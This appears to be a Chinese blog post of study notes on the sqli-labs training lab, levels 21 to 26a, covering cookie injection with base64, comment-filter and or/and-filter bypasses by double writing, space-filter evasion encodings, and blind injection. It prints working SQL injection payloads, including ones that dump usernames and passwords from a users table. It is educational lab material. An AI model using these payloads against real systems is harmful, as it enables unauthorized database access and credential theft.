首页 > 数据库 >SQL注入基础学习5

SQL注入基础学习5

时间:2023-08-23 19:44:20浏览次数:49  
标签:database union 学习 concat --+ SQL id select 注入

SQL注入基础学习5

二、靶场实操(开始先学习手工,后面的话,可以采用sqlmap等自动化工具)

靶场采用sqli-labs

21、第21关

第21关是也是属于cookie注入的

  • 登陆后查看页面或者报头信息(如图一),会发现,输入时uname=admin1,但是页面上显示的 YWRtaW4x 说明被编码了,试一下bsae64解码(如图二),

    图一

    图二
  • 测试闭合方式,闭合方式为')'

  • 测试列数以及回显位,列数为3

  • 该关卡用输出文件的方式来做,将经过base64编码后的语句复制到uname=后面,此时

  • 查看输出的文件

22、第22关

22关也可以在cookie注入,和21关类似,将注入的语句转为base64编码就可以了,可以直接在burp转。闭合方式为"闭合

三、sqli-labs的page-2

1、第23关
  • 输入单引号会正常报错,但是进行后面的操作的时候,通过burpsuite查看报头,发现不论是用--+还是#都会被注释了

  • 查看源码,代码中将所有的外部输入的注释字符都给替换为空了

  • 构造语句时,不能使用注释符。构造的注入语句如下,用'1'='1来闭合后面的'

    ?id=1' and 1=updatexml(1,concat(0x7e,(select database())),3) or '1'='1
    
    ?id=1' and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or '1'='1
    
2、第25关

第25关是对or和and进行过滤

  • 查看源码,发现只是进行了一次过滤,那么就可以进行双写绕过

  • 闭合方式是',但是后面进行注释的时候,发现#不管用,此时采用--+来注释,payload如下

    ?id=1' order by 3--+
    
    ?id=-1' union select 1,2,3--+
    
    ?id=-1' union select 1,2,(select database())--+
    
    ?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() ),3 --+
    
    ?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),3 --+
    
    ?id=-1' union select 1,(select group_concat(username,':',passwoorrd) from users),3 --+
    
3、第25a关

该关卡是盲注加上过滤orand;可以用脚本或者burpsuite的爆破模式来做,爆破的时候建议转成ascii来做,直接用字符相等的话,爆破出来的好像不分大小写

payload如下:

//数据的第一个字符
?id=1 anandd if (mid((select database()),1,1)='s',1,0)--+

字符对比

acsii对比
4、第26关

该关卡是过滤orand还有空格

  • 查看页面源码

    发现可以用编码绕过,

    • 常用与绕过过滤空格的手法
      • 使用+代替
      • %09 TAB键
      • %0a 新建一行
      • %0c 新的一页
      • %0d return 功能
      • %0b TAB键(垂直)
      • %a0 空格
      • /**/
      • /*!*/
    • 经过测试,可以用%a0进行绕过
5、第26a关

在25关的基础上加上盲注,盲注的话,需要修改一下上一个的payload,需要将or修改为and,要用逻辑与,保证每一个条件都正确,页面才显示的是正确的页面,可以用burpsuite半自动化测试

?id=1'%a0anandd%a0if(length(database())=8,1,0)%a0anandd%a0'1'='1

标签:database,union,学习,concat,--+,SQL,id,select,注入
From: https://www.cnblogs.com/xiaoyi208/p/17652502.html

相关文章

  • openGauss学习笔记-48 openGauss 高级数据管理-函数
    openGauss学习笔记-48openGauss高级数据管理-函数openGauss常用的函数如下:48.1数学函数abs(x)描述:绝对值。返回值类型:和输入相同。示例:openGauss=#SELECTabs(-17.4);abs------17.4(1row)cbrt(dp)描述:立方根。返回值类型:doubleprecision示例:openGauss......
  • 深度学习(十二)——神经网络:搭建小实战和Sequential的使用
    一、torch.nn.Sequential代码栗子官方文档:Sequential—PyTorch2.0documentation#UsingSequentialtocreateasmallmodel.When`model`isrun,#inputwillfirstbepassedto`Conv2d(1,20,5)`.Theoutputof#`Conv2d(1,20,5)`willbeusedastheinputto......
  • MySQL 查看SQL进程和杀掉进程
    要在MySQL中查看正在执行的长时间运行的SQL语句,您可以使用SHOWPROCESSLIST命令。这个命令显示了当前MySQL服务器上正在执行的所有进程的信息,包括每个进程的ID、用户、主机、数据库、命令和执行时间等信息。SHOWFULLPROCESSLIST;使用FULL关键字可以显示完整的SQL......
  • 支持多数据源联合查询的SQL运行引擎sycnany-SQL使用类型注解和类型转换
    使用介绍安装和配置使用自定义函数sycnany-SQL作为SQL运行引擎并不需要提前定义Schema信息,而且很多数据源本身就是无Schema信息的,例如NoSQL数据库MongoDB,所以从数据源查询数据和运行计算默认直接使用输入数据的类型完成查询和计算,此时查询数据或执行计算可能因数据类型不匹配产......
  • [MySQL]递归生成数据行
    来源:https://baijiahao.baidu.com/s?id=1744215294693190607&wfr=spider&for=pc DEMO:WITHRECURSIVEcteAS( SELECT1asnUNION SELECTn+1FROMcteWHEREn<30)SELECT*FROMcte; 递归生成最近30天WITHlast30dayAS( WITHRECURSIVEcteAS( SEL......
  • Kafka入门到精通学习路线图 技术文章
    Kafka入门到精通学习路线图技术文章Kafka是一个分布式流式处理平台,被广泛应用于大规模数据处理和实时数据流分析的场景中。以下是一个从入门到精通的学习路线图,帮助你系统地学习和掌握Kafka的相关技术。1.学习Kafka的概念和基础知识:-了解Kafka的起源和背景,掌握Kafka的基本概......
  • mysql8.0 新建数据库,迁移数据,账号权限,和mysql5.0的兼容性问题等踩坑记录
    项目里一直用的是mysql5.7,这次立了个新项目,我果断换上mysql8.0,心想肯定新版的性能更好更强大啊,其实无形间也踩了不少坑,mysql8.0和mysql5.0的小改动(升级)引发的兼容性问题。。一、mysql8.0搭建首先是搭建mysql8.0环境,这里当然使用时下最方便的docker-compose方式了my.cnf如下[m......
  • Mysql调优工具:mysqltuner.pl及tuning-primer.sh
    一、概述MySQL调优工具是用于分析和优化MySQL数据库性能的软件工具。它们可以帮助识别潜在的性能瓶颈、优化查询性能、调整配置参数以及提高数据库的吞吐量和响应时间。今天分享2个常用的工具。mysqltuner.pl:一款免费的Perl脚本工具,用于检查和优化MySQL服务器的配置参数。MySQL......
  • docker compose 部署mysql数据库
    docker-compose.ymlversion:"3"services:mysql:image:mysql:5.7container_name:mysqlhostname:mysqlports:-3306:3306volumes:-/home/mysql/data:/var/lib/mysql-/home/mysql/conf/my.cnf:/etc/my.cnf......
  • mysql安装-linux
    参考来源:https://www.cnblogs.com/werr370/p/14633785.html#   问题1:cat/var/log/mysqld.log查看日志出现:FailedtoinitializeDDStorageEngine.DataDictionaryinitializationfailed.1、systemctlstartmysqld执行报错,查看日志 参考来源:https://blog.csdn.n......